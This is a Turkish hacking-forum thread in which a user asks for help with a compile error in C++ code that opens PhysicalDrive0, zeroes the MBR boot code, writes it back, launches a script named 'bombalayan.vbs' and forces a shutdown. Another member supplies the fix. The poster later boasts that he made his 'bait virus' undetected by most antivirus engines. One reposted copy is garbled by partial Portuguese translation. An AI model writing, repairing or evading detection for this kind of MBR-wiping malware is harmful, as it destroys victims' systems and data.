C++ dilinde error C2065: 'drive' : undeclared identifier hatası

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Onaylı Üye
Katılım
23 Şub 2023
Mesajlar
74
Tepki puanı
8
Ödüller
2
Yaş
25
3 HİZMET YILI
Örnek bir kod:
Kod:
#include <Windows.h>
#include <iostream>
#include<stdio.h>

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
 DWORD wb;
 char mbr[512];
 char oldMbr[512];
 ZeroMemory(&mbr, sizeof(mbr));
 ZeroMemory(&oldMbr, sizeof(oldMbr));
  " ; "
 "\\\\.\\" needs L"\\\\.\\"
 HANDLE drive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
 ReadFile(drive, oldMbr, 512, &wb, NULL);
 ZeroMemory(oldMbr, 440);
 memcpy(mbr, oldMbr, 512);
 SetFilePointer(drive, 0,0, FILE_BEGIN);
 WriteFile(drive, mbr, 512, &wb, NULL);
 CloseHandle(drive);
 system("bombalayan.vbs");
 system("shutdown -s -t 00");
}
Böyle hatalar nasıl düzeltilir?
 
Słyszę, słyszę letni powiew.
Kurucu
Katılım
20 Haz 2015
Mesajlar
7,666
Çözümler
136
Tepki puanı
20,724
Ödüller
25
10 HİZMET YILI
" ; "
"\\\\.\\" needs L"\\\\.\\"

Burayı sil.
 
Onaylı Üye
Katılım
23 Ocak 2023
Mesajlar
50
Tepki puanı
2
Ödüller
1
Yaş
26
3 HİZMET YILI
Örnek bir kod:
Kod:
#include <Windows.h>
#include <iostream>
#include<stdio.h>

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
 DWORD wb;
 char mbr[512];
 char oldMbr[512];
 ZeroMemory(&mbr, sizeof(mbr));
 ZeroMemory(&oldMbr, sizeof(oldMbr));
  " ; "
 "\\\\.\\" needs L"\\\\.\\"
 HANDLE drive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
 ReadFile(drive, oldMbr, 512, &wb, NULL);
 ZeroMemory(oldMbr, 440);
 memcpy(mbr, oldMbr, 512);
 SetFilePointer(drive, 0,0, FILE_BEGIN);
 WriteFile(drive, mbr, 512, &wb, NULL);
 CloseHandle(drive);
 system("bombalayan.vbs");
 system("shutdown -s -t 00");
}
Böyle hatalar nasıl düzeltilir?
" ; "
"\\\\.\\" needs L"\\\\.\\"

Burayı sil.
Katılıyorum +1
 
Onaylı Üye
Katılım
23 Şub 2023
Mesajlar
74
Tepki puanı
8
Ödüller
2
Yaş
25
3 HİZMET YILI
Başka bir hata veriyor o zaman.
Post automatically merged:

Bir dakika sanki buldum.
Post automatically merged:

SUBSYTEM yazan yeri Windows yapacağız ve yönetici olarak çalıştırması gerek.
 
Son düzenleme:
Onaylı Üye
Katılım
23 Şub 2023
Mesajlar
74
Tepki puanı
8
Ödüller
2
Yaş
25
3 HİZMET YILI
#include <Windows.h>
#include <iostream>
#include<stdio.h>

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
DWORD wb;
char mbr[512];
char oldMbr[512];
ZeroMemory(&mbr, sizeof(mbr));
ZeroMemory(&oldMbr, sizeof(oldMbr));
" ; "
"\\\\.\\" precisa de L"\\\\.\\"
HANDLE drive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
ReadFile(drive, oldMbr, 512, &wb, NULL);
ZeroMemory(oldMbr, 440);
memcpy(mbr, oldMbr, 512);
SetFilePointer(drive, 0,0, FILE_BEGIN);
WriteFile(drive, mbr, 512, &wb, NULL);
CloseHandle(unidade);
system("bombalayan.vbs");
system("desligamento -s -t 00");
}[/CÓDIGO]
Böyle hatalar nasıl düzeltilir?
Sadece makineme formato atarak çözebildim.

_____________________________________________________________

" ; "
"\\\\.\\" needs L"\\\\.\\"

Burayı sil.
[/QUOTE]
Aynı hatayı veriyordu sonra 2022 yaptım sürümü ve düzeldi.
Post automatically merged:

error MSB6006: "link.exe" öğesinden 1120 koduyla çıkıldı. bu hata geldi ama düzelterim ben.
Post automatically merged:

Tamam düzeldi yönetici yapınca yine ama yine başka bir hata. 7 ve 15'de sorun var.
Post automatically merged:

15'te C6031 7'de C28251
 
Son düzenleme:
Onaylı Üye
Katılım
23 Şub 2023
Mesajlar
74
Tepki puanı
8
Ödüller
2
Yaş
25
3 HİZMET YILI
Oh sonunda çalıştı ama bir şey yapamadı. Çünkü GPT diye sanırım. Aynen GPT diye bir şey olmadı oh.
Post automatically merged:

Undetected hale getirdim. Rahattım şu an.
Post automatically merged:

Bağlantıları görmek için lütfen Giriş Yap
normalde 6 tanesi buluyordu. Yem bir virüs yaptım. Onu 2'si buldu.
 
Son düzenleme:
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst